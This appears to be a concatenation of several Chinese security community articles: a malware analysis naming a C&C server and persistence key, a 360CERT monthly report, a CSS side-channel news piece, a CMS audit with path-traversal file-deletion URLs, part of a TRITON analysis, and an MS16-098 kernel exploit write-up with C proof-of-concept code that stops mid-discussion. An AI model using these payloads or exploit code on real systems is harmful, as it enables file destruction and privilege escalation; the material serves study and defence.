文件大小 51.0 KB (52,224 字节)
文件名称 svchost.dll
SHA-256 69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261
创建时间 2016-05-20 22:58:15
文件大小 32.5 KB (33,280 字节)
**交付方式**
这两个文件是通过社工邮件携带的恶意的rtf文档,rtf文档包含有CVE-2015-1641漏洞
**持久化方式**
在上篇文章有介绍，在HKEY_CURRENT_USER\Software\Microsoft\Office
test\Special\Perf中如下所示带有释放的btecache.dll，每次打开office程序的时候，会加载这个DLL，实现木马的持久化
**与Carberp同源性分析**
在分析着两个DLL中发现了很多跟Carberp开源木马的代码相同的代码，如下Getkernel32函数，在API获取函数的方式跟RC2密钥都是相同的
RC2密钥
**btechche.dll分析**
这个文件会随着office进程而加载，但是会比较进程，只有word进程才选择启动，并创建了一个ASLIiasiuqpssuqkl713h互斥体
之后拼接出释放的另一个的DLL文件svchost.dll的路径，并且将一个begin字符串传入，而通过分析svchost.dll发现是这个DLL的导出函数。
之后将自身复制到新开辟的内存中，并开启线程
加载svchost模块
获取begin地址并执行
**Svchost模块分析**
**通信分析**
首先创建互斥量MutexName = "sSbydFdIob6NrhNTJcF89uDqE2"
然后创建了一个线程，并且判断主机是否联网
之后，开始连接google.com,并生成随机路径
使用POST协议进行发送，不管返回状态码是200还是404都是会进行到下一步。
之后直连C&C，并收集系统信息进行发送，C&C为191.101.31.6
收集的系统信息并发送
收集的系统信息包括
系统进程信息如图
参数解释：
Id：硬盘信息 硬盘序列号
w: 后面跟两个字节
第一个字节：表示获取的操作系统版本信息
第二个字节：表示是32位还是64位
后面跟进程信息
Disk:
通过注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\Enum
获取磁盘信息如图
build=0x7caa0e19
表示木马版本的硬编码
还有一些其他的参数，但是这次并没有发送
Inject：表示是否进行注入
最后通过自定义的加密算法进行加密然后发送，发送完之后，判断如果状态码是200或者404表示C&C存活，
在发送结束后，如果设置标志位（此样本没有设置），将会将C&C 191.101.31.6 BASE64编码后设置到如下注册表中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\Servers\Domain
**功能分析**
在接收数据之后进行解密后，主要与以下指令进行比较
包括以下指令,进行文件，执行，设置操作
[file]
Execte
Delete
[/file]
[settings]
[/settings]
**参考文章**
<https://unit42.paloaltonetworks.com/unit42-new-sofacy-attacks-against-us-government-agency/>
<https://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-full.pdf> | 社区文章 |
# 360CERT《网络安全九月月报》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
当前，随着数字化浪潮的不断加快，网络空间博弈上升到全新高度。潜在的漏洞风险持续存在，全球各类高级威胁层出不穷。洞悉国内外网络安全形势，了解网络安全重要漏洞是建设好自身安全能力的重要基石。在此背景下，360CERT推出《网络安全月报》，总结本月国内外安全漏洞、网络安全重大事件、恶意软件攻击态势、移动安全情况等。每个章节中都具备总结性文字、重点罗列、图表分析等展现形式，方便读者了解本月网络安全态势。
## 目录预览
## 网络安全月度综述
### 安全漏洞
2021年9月，360CERT共收录13个漏洞，其中严重1个，高危9个，中危3个。主要漏洞类型包含身份验证绕过、栈溢出、服务器端请求伪造等。涉及的厂商主要是Apache
、Cisco、QNAP、Windows、 VMware等。
### 安全事件
本月收录安全事件211项，话题集中在数据泄露、恶意程序、网络攻击方面，涉及的组织有：Microsoft、Google、Intel、Cisco、Apple、FBI、instagram、等。涉及的行业主要包含IT服务业、金融业、制造业、政府机关及社会组织、医疗行业、交通运输业等。
### 恶意程序
勒索病毒传播至今，360反勒索服务已累计接收到上万勒索病毒感染求助。随着新型勒索病毒的快速蔓延，企业数据泄露风险不断上升，数百万甚至上亿赎金的勒索案件不断出现。勒索病毒给企业和个人带来的影响范围越来越广，危害性也越来越大。360安全大脑针对勒索病毒进行了全方位的监控与防御，为需要帮助的用户提供360反勒索服务。
2021年9月，全球新增的活跃勒索病毒家族有:AtomSilo、BlackByte、Groove、Sodinokibi(REvil)等勒索软件。其中AtomSilo的数据泄露网站与BlackMatter高度相似，两者可能存在密切关系；Groove勒索软件由Babuk核心成员之一开发，并创建了一个名为RAMP的暗网论坛；消失近两月的Sodinokibi(REvil)在本月正式回归。
## 本月重要漏洞
* VMware vCenter Server多个高危漏洞
* 2021-09 补丁日: 微软多个漏洞安全更新
* 2021-09 补丁日: Chrome多个漏洞安全更新
* 微软官方发布MSHTML组件在野0day漏洞
* Confluence OGNL 注入漏洞
## 本月重要事件
* 美国农民合作社遭受blackmatter勒索攻击，被勒索590万美元
* 印度尼西亚政府的新冠病毒检测程序泄漏130万用户信息
* 微软Exchange Autodiscover漏洞泄漏10万个Windows凭据
* 38亿俱乐部和Facebook用户记录被在线出售
* 黑客集团利用ProxyLogon漏洞攻击全球酒店
* 一个0day漏洞使100万台物联网设备暴露于风险之中
* 蓝牙 BrakTooth 漏洞可能影响数十亿台设备
* SideWinder针对巴基斯坦的海军
* APT组织使用加强型TTP瞄准印度国防官员
* 三边行动：针对南亚、中东多国长达数年的网络间谍活动
## 本月勒索病毒关键词
* file
* devos
* eking
* hauhitec
* efdc
* Lockbit
* hoop
* Makop
* koom
* GlobeImposter-Alpha666qqz
* nwiot
## 月报部分节选段落
* 9月初，mshtml远程代码执行漏洞CVE-2021-40444被披露，仅仅几天后，该漏洞的概念验证以及漏洞利用代码生成程序就在社交网络上广泛传播。
* 本月收录安全事件211项，话题集中在数据泄露、恶意程序、网络攻击方面，涉及的组织有：Microsoft、Google、Cisco、华为、FBI、WordPress、Apple、Twitter等。涉及的行业主要包含IT服务业、金融业、制造业、政府机关及社会组织、医疗行业、交通运输业等。
* APT-C-56（透明部落），是一个具有南亚背景的APT组织，长期针对周边国家和地区（特别是印度）的政治、军事目标进行定向攻击活动，开发有自己的专属木马CrimsonRAT，还曾被发现广泛传播USB蠕虫。透明部落在2019年下半年一直非常关注阿富汗地区， 在2020年开始再次转为关注印度用户。到了2021年，先是利用疫情相关信息对印度医疗、电力行业进行信息窃取，随后伪装印度国防部会议记录的诱饵文档尝试进行信息窃取。
* 本月BeijingCrypt勒索感染量有大幅度的上升，从8月份的4.06%上升至本月的17.32%。在本月底，该家族出现新的变种，将被加密文件后缀修改为“.520”。
## 部分图表信息展示
## 部分内页展示
## 其他相关
**月报下载链接：[http://pub-shbt.s3.360.cn/cert-public-file/【360CERT】网络安全九月月报.pdf](http://pub-shbt.s3.360.cn/cert-public-file/%E3%80%90360CERT%E3%80%91%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%9D%E6%9C%88%E6%9C%88%E6%8A%A5.pdf)**
月报反馈问卷：<https://www.wjx.cn/vj/PykAK1F.aspx>
[](https://p5.ssl.qhimg.com/t01dde03e6449599025.jpg)
报告订阅：<https://www.wjx.top/jq/94378831.aspx>
[](https://p4.ssl.qhimg.com/t0154870fa17ad3aaa0.jpg)
关注360CERT微信公众号 | 社区文章 |
> 先知原创作者翻译：[原文链接](https://www.bleepingcomputer.com/news/security/css-is-so-> overpowered-it-can-deanonymize-facebook-users/ "原文链接")
## 概述
最近，层叠样式表（CSS）的Web标准中又增加了一些新的功能，这些功能是如此强大，以至于安全研究人员可以滥用这些功能，对演示站点的访问者实施去匿名化攻击，从而暴露他们的Facebook用户名、头像以及是否喜欢特定的Facebook页面。
通过这种攻击泄露的信息，可以帮助某些广告商将IP地址或广告资料与现实生活中的人对应起来，从而对用户的在线隐私构成严重威胁。
该漏洞的影响范围并不仅限于Facebook，而是所有允许通过iframe将其内容嵌入其他网页的网站。
## 漏洞存在于浏览器中，而非网站中
实际上，该漏洞的根本原因，不在于网站，而在于浏览器对名为"[mix-blend-mode](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode "mix-blend-mode")"的CSS特性的实现，该特性是于2016年引入CSS3 web标准的。
mix-blend-mode特性允许Web开发人员将Web组件叠放在一起，并控制其混合效果。
正如该特性的名称所暗示的那样，这些效果是受Photoshop、Gimp、Paint.net等照片编辑软件中的混合模式的启发而来的。其中，常见的混合模式为叠加、变暗、变亮、颜色减淡、正片叠底、反转等。
CSS3的mix-blend-mode特性支持16种混合模式，其中Chrome浏览器（自从v49版本开始）和Firefox浏览器（自从v59版本开始）对这些模式提供了[全面的支持](https://caniuse.com/#search=mix-blend-mode "全面的支持")，而Safari浏览器则只提供了部分支持（从macOs系统上的v11版本和从iOS系统上的v10.3版本开始）。
## 研究人员使用DIV堆叠来重建iframe内容
在今天发布的[研究报告](https://www.evonide.com/side-channel-attacking-browsers-through-css3-features/ "研究报告")中，谷歌安全工程师Ruslan Habalov与安全研究员[ Dario
Weißer](https://twitter.com/haxonaut " Dario Weißer")一起曝光了攻击者是如何滥用CSS3的mix-blend-mode特性通过其他站点来泄漏用户信息的。
这个漏洞的局限性在于，攻击者必须设法诱导用户访问一个恶意网站，然后在恶意网站里面嵌入iframe来加载其他网站。在上面提及的两位研究人员给出的示例中，虽然两个嵌入的iframe加载的都是Facebook的页面，但其他网站也容易受到这个安全问题的影响。
具体攻击手法为，在iframe之上叠加大量的DIV层，并且每一层都使用不同的混合模式。实际上，每一层只是一个1x1像素的图片，换句话说，每一层只能覆盖iframe的一个像素。
Habalov和Weißer表示，根据渲染所有DIV堆栈所需的时间，攻击者可以确定用户屏幕上显示的像素颜色。
研究人员说，通过逐一将这种DIV“扫描”层放到iframe上面，“就可以确定iframe的内容。”
正常情况下，攻击者是无法访问这些iframe的数据的，这主要得益于浏览器和允许其内容通过iframe进行加载的远程站点中实现的反点击劫持和其他安全措施的限制。
## 两个令人印象深刻的演示示例
通过两个在线发布的演示示例（[这里](https://rawgit.com/evonide/misc/master/fb_name_leak_poc.html
"这里")和[这里](https://rawgit.com/evonide/misc/master/fb_leak_general_poc.html
"这里")），研究人员能够获取用户的Facebook名称、低分辨率版本头像以及喜欢的站点。
对于现实中的攻击来说，获取用户名只需20秒左右；而500毫秒足以用来检查用户对所有页面的喜欢/不喜欢状态；如果花上20分钟左右的时间的话，就可以获取Facebook用户的头像。
这种攻击很容易实现隐身，因为iframe可以轻松移出屏幕，或隐藏在其他元素下面（请参阅下面的演示gif动画演示，这里的攻击是以猫照片为掩护的）。
此外，通过让用户完成某些在线测试或阅读一篇长文，诱骗用户在网站上驻留几分钟并非难事。
（注意：这里只是截图，动图请参考原文）
## 适用于Chrome和Firefox的修复程序
Google和Mozilla的工程师在收到研究人员的漏洞报告后，已经为Chrome 63和Firefox 60修复了这个安全漏洞。
“这个安全问题是通过[向量化](https://en.wikipedia.org/wiki/Automatic_vectorization
"向量化")混合模式计算来解决的，”据Habalov和Weißer称。由于Safari浏览器的混合模式操作已经被矢量化，所以，Safari的CSS3
mix-blend-mode特性实现不会受到该漏洞的影响。
除此之外，另一位名叫Max
May的研究人员也独立发现了该漏洞，并于[2017年3月](https://groups.google.com/a/chromium.org/forum/#!topic/paint-bugs/RIjWpTd_tf0 "2017年3月")向Google提交了相应的报告。 | 社区文章 |
之前看到补天上有人提过这个CMS，就审计了一小下，这次就先找了几处任意文件删除。
1、位置Lib/Lib/Action/Admin/DataAction.class.php，两处
public function del(){
$filename = trim($_GET['id']);
@unlink(DATA_PATH.'_bak/'.$filename);
$this->success($filename.'已经删除！');
}
//删除所有分卷文件
public function delall(){
foreach($_POST['ids'] as $value){
@unlink(DATA_PATH.'_bak/'.$value);
}
$this->success('批量删除分卷文件成功！');
}
未经处理的GET和POST参数直接拼接到路径后，造成文件删除。但实际本地测试发现_bak文件夹默认是不存在的，需要进行备份功能后才能生成。
全局搜索_bak字段，找到一处_bak文件夹的创建，在Lib/Lib/Action/Admin/DataAction.class.php
51行的write_file函数。
public function insert(){
if(empty($_POST['ids'])){
$this->error('请选择需要备份的数据库表！');
}
$filesize = intval($_POST['filesize']);
if ($filesize < 512) {
$this->error('出错了,请为分卷大小设置一个大于512的整数值！');
}
$file = DATA_PATH.'_bak/';
$random = md5(mt_rand(10000, 99999));
$sql = '';
$p = 1;
foreach($_POST['ids'] as $table){
$rs = D(ucfirst(str_replace(C('db_prefix'),'',$table)));
$array = $rs->select();
$sql.= "TRUNCATE TABLE `$table`;\n";
foreach($array as $value){
$sql.= $this->insertsql($table, $value);
if (strlen($sql) >= $filesize*1000) {
$filename = $file.date('Ymd').'_'.$random.'_'.$p.'.sql';
write_file($filename,$sql);
$p++;
$sql='';
}
}
}
if(!empty($sql)){
$filename = $file.date('Ymd').'_'.$random.'_'.$p.'.sql';
write_file($filename,$sql);
}
$this->assign("jumpUrl",'?s=Admin-Data-Show');
$this->success('数据库分卷备份已完成,共分成'.$p.'个sql文件存放！');
}
进入write_file函数，可以看到内部调用了封装了的mkdir方法mkdirss
function write_file($l1, $l2 = '')
{
$dir = dirname($l1);
if (!is_dir($dir)) {
mkdirss($dir);
}
return @file_put_contents($l1, $l2);
}
function mkdirss($dirs, $mode = 0777)
{
if (!is_dir($dirs)) {
mkdirss(dirname($dirs), $mode);
return @mkdir($dirs, $mode);
}
return true;
}
现在构造payload，需要先备份使创建_bak文件夹。这里需要满足strlen($sql) >= $filesize*1000。
备份成功
下面构造文件删除payload，访问[http://localhost:8888/4.0.181010/index.php?s=/admin-data-del&id=../../../../../../../../../Users/xx/Desktop/123.txt](http://localhost:8888/4.0.181010/index.php?s=/admin-data-del&id=../../../../../../../../../Users/xx/Desktop/123.txt)
另一处原理相同，这里不再测试。
2、位置Lib/Lib/Action/Admin/TplAction.class.php，88
public function del(){
$id = admin_ff_url_repalce(str_replace('*','.',trim($_GET['id'])));
if (!substr(sprintf("%o",fileperms($id)),-3)){
$this->error('无删除权限！');
}
@unlink($id);
if (!empty($_SESSION['tpl_jumpurl'])) {
$this->assign("jumpUrl",$_SESSION['tpl_jumpurl']);
}else{
$this->assign("jumpUrl",'?s=Admin/Tpl/Show');
}
$this->success('删除文件成功！');
}
可以看到id参数没有做过滤，是可以进行任意文件删除的。测试时在桌面上创建123.txt，构造payload为[http://localhost:8888/4.0.181010/index.php?s=/admin-tpl-del&id=/Users/xx/Desktop/123.txt](http://localhost:8888/4.0.181010/index.php?s=/admin-tpl-del&id=/Users/xx/Desktop/123.txt)
可以看到文件已删除。 | 社区文章 |
# 对TRITON工业恶意软件的分析（上）
|
##### 译文声明
本文是翻译文章，文章原作者 midnightbluelabs，文章来源：midnightbluelabs.com
原文地址：<https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
上个月FireEye发布了一份[安全报告](https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html)，详细介绍了Mandiant子公司对某个关键基础设施组织应急响应事件的处置过程。该报告中提到了名为TRITON的一个恶意软件框架（还有其他叫法，如TRISIS以及HatMan），这款恶意软件针对的是施耐德电气的[Triconex](https://www.schneider-electric.com/en/work/products/industrial-automation-control/triconex-safety-systems/)工业安全系统，目标是造成物理损坏后果，导致正常作业流程关闭。安全人员认为此次攻击活动背后有国家力量的支持。Dragos团队同样发表了对该恶意软件的[研究报告](https://dragos.com/blog/trisis/TRISIS-01.pdf)，该团队的研究结果表明，在2017年11月中旬时，TRITON的势力范围已波及中东区域，至少有一个受害者受此攻击活动影响。
本文的目的是讨论此次事件的相关背景、TRITON框架以及攻击载荷，努力澄清此次攻击细节，从整体层面分析针对工业安全系统的攻击活动。本文参考了多个参考资料，如[FireEye](https://fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.htm)、[Dragos](https://dragos.com/blog/trisis/TRISIS-01.pdf)以及[ICS-CERT](https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf)发表的报告，Midnight
Blue的[分析报告](https://github.com/samvartaka/triton_analysis)以及[Ali
Abbasi](https://twitter.com/bl4ckic3)提供的[恶意软件样本](https://github.com/ICSrepo/TRISIS-TRITON-HATMAN)。此外，其他人也会在本周举办的[S4x18
TRITON/TRISIS](https://s4x18.com/sessions/aurora-10-years-later-progress-failure-what-remains-to-be-learned)会议上介绍该安全事件及恶意软件的一些细节。
## 二、概述
TRITON是公众了解到的首个针对工业安全控制器的恶意软件，与之前的ICS安全事件相比，这款恶意软件提供了更强的功能，可以造成更为严重的后果。中东区域至少有一个受害者受此次攻击影响，但没有明确的证据表明这种攻击已波及到其他区域。作为一款恶意软件框架，TRITON可以向施耐德电气的Triconex安全控制器中植入被动式后门，随后攻击者可以通过该后门再注入具有破坏性的攻击载荷。
虽然这种攻击可能会造成非常严重的后果（比如破坏关键安全系统后导致基础设施损坏及人身安全受到危害），但现在我们并不清楚攻击者的真实意图，因此我们还需要谨慎评估这款恶意软件在暴露后能带来的哪种程度的影响。此外，由于攻击过程涉及到大量复杂的工业流程专业知识，因此这种安全风险并不具备较高的可扩展性，甚至无法完美适配其他型号的Triconex安全控制器。然而，经验丰富且资源充足的攻击者可以攻击安全系统中包含Triconex控制器的那些设施，重新规划TRITON的攻击目标，逆向分析TriStation协议，进一步降低攻击门槛。此次事件表明工业网络安全中仍存在各种各样的问题，比如将“设计上不安全的”设备直接暴露到缺乏IT/OT安全机制以及安全观念的开放型网络中，过去几年大家已广泛讨论过这些问题。
## 三、背景介绍
除了[Stuxnet](http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf)、[Havex](https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf)、[Blackenergy2](https://www.iod.org.nz/Portals/0/Branches%20and%20events/Canterbury/BOOZ%20ALLEN%20-%20When%20the%20Lights%20Went%20Out.pdf)和[Industroyer](https://dragos.com/blog/crashoverride/CrashOverride-01.pdf)以外，大众并不是特别了解针对工业控制系统（ICS，Industrial
Control Systems）的恶意软件，TRITON是这个大家族中的一员，也是专门针对工业安全控制器的首个被公开的恶意软件。安全仪表系统（Safety
Instrumented
System，SIS）是一种自主控制系统，其任务是维持自动化生产过程的安全状态。关键流程中可能存在许多严重的安全威胁，给人身安全带来生命风险，此时就需要SIS来实现关键流程中的安全逻辑。比如，SIS可以通过传感器的输入数据来监测温度或者压力值，如果超过危险阈值，则停止气体流动或者继续加热。SIS通常会与促动器（actuator）连接（比如用来打开或者关闭阀门），以便在必要时越过正常控制流程，终止处于失控状态下生产过程。
图1. 基本的工业安全及保护层（[来源](http://www.pacontrol.com/safetysystems.html)）
安全控制器通常是一种可编程逻辑控制器（Programmable Logic
Controller，PLC），采用具有冗余模块的高标准设计理念，可以在主处理器失效或者断电的情况下进入安全故障状态。安全控制器会按照生产过程环境要求进行部署，通常使用某种
_IEC 61131-3_
编程语言（如LD、ST等）进行配置。当然，安全性（safety、security）在不同场合标准也有所不同，与常规的PLC一样，安全控制器同样在设计上存在一些“[不安全的](http://www.digitalbond.com/blog/2013/11/04/insecure-by-design-secure-by-design/)”属性：比如，用于维护的后门账户可能会被硬编码到设备中，可能会使用不安全的私有协议等等。
传统意义上，SIS的连接情况会受到限制，相关系统会与运营技术（Operational
Technology，OT）环境相互隔离，以限制安全控制器中安全问题所造成的影响。但随着时代的发展，嵌入式系统逐渐成为普遍趋势，这种隔离环境中也免不了出现越来越多的通连情况，系统之间也会相互集成。虽然系统集成在成本、可用性以及智能作业流程方面具备各种优势，但也会将不具备安全连接性的系统暴露在OT及IT环境中，进一步暴露在更广阔的不安全网络中。突破SIS后，攻击者可能会带来严重的安全风险，比如关闭生产流程以进入不安全状态，或者操控OT环境中的其他部分，构造不安全状态，给目标单位造成经济损失、设备损坏，给产品环境或者人身安全带来影响，更严重时还会危急生命。
但我们还需要谨慎评估这类安全风险，避免出现危言耸听的头条新闻。首先，恐慌、不确定性以及怀疑会导致合理的分析及良好的建议埋没于众，最终形成一种“狼来了”的效果，导致ICS设备供应商以及OT资产方及运营商在安全行业中话语权被逐渐削弱。其次，虽然这种攻击事件中，从最初突破ICS系统到控制安全控制器，整个[攻击链条](https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297)可能看起来比较简单，然而想构造能带来实际危害的“OT攻击载荷”实际上并不简单，也不具备较高的可扩展性。正如Benjamin
Green、Marina Krotofil以及Ali
Abbasi[提到的](http://eprints.lancs.ac.uk/88089/1/sample_sigconf.pdf)那样，这种攻击要求攻击者对生产过程了如指掌，攻击者必须分析大量文档、图表、历史数据记录文件、设备配置信息以及网络流量才能获得相关信息。这些信息需要针对不同的设施逐一获取，因为即使面对两个功能相似的设施，攻击者也需要考虑这些设施在流程、设计、设备及配置方面的不同。
对于SIS而言，这意味着突破安全系统并不等同于破坏生产流程安全。除了SIS之外，相关设施可能还部署了其他安全措施，比如外壳、风门阻尼器等可损毁部件以及警报器、应急处置过程等，因此评估SIS被突破的影响时也要将其他设备相关的一些因素考虑在内。这并不代表攻击者无法导致最严重的后果，但他们能造成的危害程度实际上要比想象中的小。
## 四、事件回顾
根据FireEye的报告，攻击者获得了运行Windows系统的Triconex工程工作站（engineering
workstation）以及分布式控制系统（Distributed Control
System，DCS）的远程访问权限，部署了名为Trilog.exe的一个Py2EXE应用程序，该应用伪装成正常的Triconex日志审查应用，在工程工作站上使用了TRITON框架以及两个二进制载荷文件（inject.bin以及imain.bin）。TRITON并没有用到任何0day漏洞技术，而是通过缺乏认证的
_TriStation_
协议（下文会分析该协议）实现对目标安全控制器的重新编程（控制器并没有配置ACL策略）。TriStation是一种私有协议，没有详细的协议文档，这意味着攻击者必须逆向分析该协议，他们可能翻阅了存在相似性的、具有公开文档的
_Triconex System Access Application （TSAA）_
协议，同时分析了工程工作站与控制器之间的通信流量，逆向分析了工作站软件以及控制器固件，最终实现对该协议的逆向分析。
TRITON框架可以通过1502端口发送UDP广播消息，自动发现网络中的Triconex控制器，但此次安全事件中攻击者并没有使用这个功能。攻击者直接指定了目标控制器的IP地址，连接成功后，就通过TriStation协议获取控制器的状态信息。如果控制器正在运行inject.bin以及imain.bin，这些载荷文件已经注入控制器程序内存中，那么恶意软件就会启动定期检查过程，探测是否出现什么错误。如果出现错误，TRITON会通过Tristation协议将控制器重置成之前的状态，如果重置失败，它会将一个虚假程序写入内存中，这么处理可能是为了达到反取证分析目的。在此次事件中，由于某些控制器进入了故障安全状态，导致正常工业流程被关闭，最终引起了资产方的警觉，开始调查这次事件。据相关报道，之所以导致故障安全状态，原因在于3个独立的冗余Triconex处理器模块无法通过有效性校验。
此次事件中DCS以及SIS系统均被攻击者控制，这表明攻击者想造成非常严重的后果，而不单单是关闭作业流程那么简单。根据调查结果，攻击者针对安全控制器发起了多次攻击，尝试在控制器上部署特定的控制逻辑，并没有选择直接关闭安全控制器，这也进一步证实了这个猜想（但具体结论仍待后续确认）。 | 社区文章 |
# Introduction
初步接触 windows 内核漏洞利用，我的想法是找一个带有分析的可利用的漏洞来学习，正好找到了MS16-098。
参考的文章：
* [Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/)
* [Windows 10下MS16-098 RGNOBJ整数溢出漏洞分析及利用](http://repwn.com/archives/26/)
这个洞是由整数溢出漏洞导致的池溢出 (pool overflow) 继而使用 GDI objects 技术获取到 system token
完成权限提升，其中池风水和使用 GDI objects 获得任意地址读写的技术是学习的重点。
开始之前我们需要做一些准备：
* windows 8.1 x64 & vmware
* Virtual KD <http://virtualkd.sysprogs.org/> 用于辅助对虚拟机系统进行内核调试
* windbg
# Analysing the Patch and bug
从 [Security Bulletin MS16-098](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098) 页面下载
对应的[补丁安装程序](https://www.microsoft.com/en-us/download/details.aspx?id=53491)，用
`expand` 命令提取其中的文件：
expand -F:* windows8.1-kb3177725-x64 .
expand -F:* Windows8.1-KB3177725-x64.cab .
这样获取到了 patch 之后的 win32k.sys 文件，我们用 ida 对旧版和 patch 版的 win32k.sys 进行分析。
根据文章中的信息，漏洞存在于 `win32k!bFill` 函数中，
如图中的代码， 当 eax 的值大于14则跳转执行
lea ecx, [rax+rax*2]
shl ecx, 4
这就相当于
if (eax > 14) {
size = (eax * 3) << 4;
}
若控制 eax 的值为 `0x10000001` 那么由于整数溢出表达式的运算结果为 `0x30`, 被当做请求分配的内存大小参数，这样导致申请了一个较小的
`pool`，
但是可以输入的大小远远超过申请的大小，从而产生了池溢出。
再来看看 patch 的版本，
增加了用于检测整数溢出的函数 `UlongMult3`，该函数将参数中两个32位整数相乘，若结果大于 `0xffffffff` 则判断发生溢出，返回错误。
现在我们需要知道参数是否可控，如何触发漏洞？内核漏洞利用相当复杂，需要分为多个步骤，总的思路如下：
* 1. 触发漏洞函数
* 1. 控制内存分配大小
* 1. 内核池风水
* 1. 借助 bitmap Gdi objects
* 1. 获取 system token 完成权限提升
# Trigger the Vulnerable Function
直接从文章中可以知道到达 `bFill` 函数的调用链，感谢作者，如果让我自己分析，怕是啥都看不出来。作者使用推测和搜索大法，
由函数名 "bFill" 和函数参数中 `EPATHOBJ` 对象猜测函数的作用可能是填充路径，结合搜索找到了函数 `BeginPath`。
bFill@<rax>(struct EPATHOBJ *@<rcx>, struct _RECTL *@<rdx>, unsigned int@<r8d>, void (__stdcall *)(struct _RECTL *, unsigned int, void *)@<r9>, void *)
用如下 poc 代码可以触发 `bFill` 函数：
#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
void main(int argc, char* argv[]) {
//Create a Point array
static POINT points[0x10001];
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
PolylineTo(hMemDC, points, 0x10001);
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
}
这里注意对 win32k.sys 要下硬件断点，到达断点后查看栈回溯
那么可以知道到达 `bFill` 函数的调用链为
EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill()
在 `EngFastFill` 中还有一个分支语句分别会调用 `bPaintPath`、`bBrushPath` 或者 `bBrushPathN_8x8`，
这取决于 brush 对象是否和 hdc 有关联。在这之前还会检查一下 hdc 设备上下文的类型，总共有四种类型：
* Printer
* Display (默认情况下的类型)
* Information
* Memory (这种类型支持在 bitmap 对象上进行画图操作)
# Controlling the Allocation Size
在之前对 patch 进行对比分析的时候我们已经知道了漏洞产生的具体情况了，主要是这步操作 `lea ecx, [rax+rax*2]`，
它的操作数为32位，然后是对操作数乘以3，而 ecx 寄存器所能存储的最大值为 0xffffffff，那么在不发生溢出的情况下，
我们所能输入的极限就是：
0xffffffff / 3 = 0x55555555
只要输入大于这个值，就会触发整数溢出：
0x55555556 * 3 = 0x100000002
再加上左移4位，相当于除以0x10，那么我们理想的输入就是：
(0x5555556 * 3) = 0x10000002
0x10000002 << 4 = 0x20 (32bit register value)
现在修改我们的代码，调整 PATH 对象中 points 结构的数量，如下代码会触发分配 0x50 字节大小的空间：
void main(int argc, char* argv[]) {
//Create a Point array
static POINT points[0x3fe01];
points[0].x = 1;
points[0].y = 1;
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
for (int j = 0; j < 0x156; j++) {
PolylineTo(hMemDC, points, 0x3FE01);
}
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
}
为什么是 0x50 字节呢？我们来算一下：
循环调用 `PolylineTo` 函数 0x156 次的情况下 points 的数量为
0x3fe01 * 0x156 = 0x5555556
但是在调试过程中发现程序会额外添加一个，所以计算时操作数的的值为 0x5555557，结果则是
0x5555557 * 3 = 0x10000005
0x10000005 << 4 = 0x50 (32bit)
那么程序为 points 对象分配的空间大小为 0x50 字节，却可以复制 0x5555557 个 points 对象到分配的空间，
果然在运行 poc 代码后，系统出现了 BSOD！
# Kernel Pool Feng Shui
接下来进入到比较难也很关键的步骤：内核池风水
池风水是一项用来确定内存布局的技术，在分配目标对象之前，先在内存中分配和释放一些内存，空出来一些空间，
让目标对象在下一次分配时被分配到指定的位置。现在的思路是通过池风水让目标对象于受控制对象相邻，
然后通过溢出覆盖到目标对象，更改关键数据结构获得任意地址读写。这也是开头提到的 Gdi objects，
这里选用 bitmap 对象，它的池标记为 Gh05，池类型为 Paged Session Pool，
可以用 SetBitmapBits/GetBitmapBits 函数读/写任意地址，具体可以参考
CoreLabs 的文章 [Abusing GDI for ring0 exploit
primitives](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/)
还有 KeenTeam 的 [This Time Font hunt you down in 4
bytes](http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes)
而 crash 的具体原因是 bFill 函数结束时分配的对象被释放掉，对象释放时会检查相邻对象的 pool header，但是溢出会把它破坏掉，
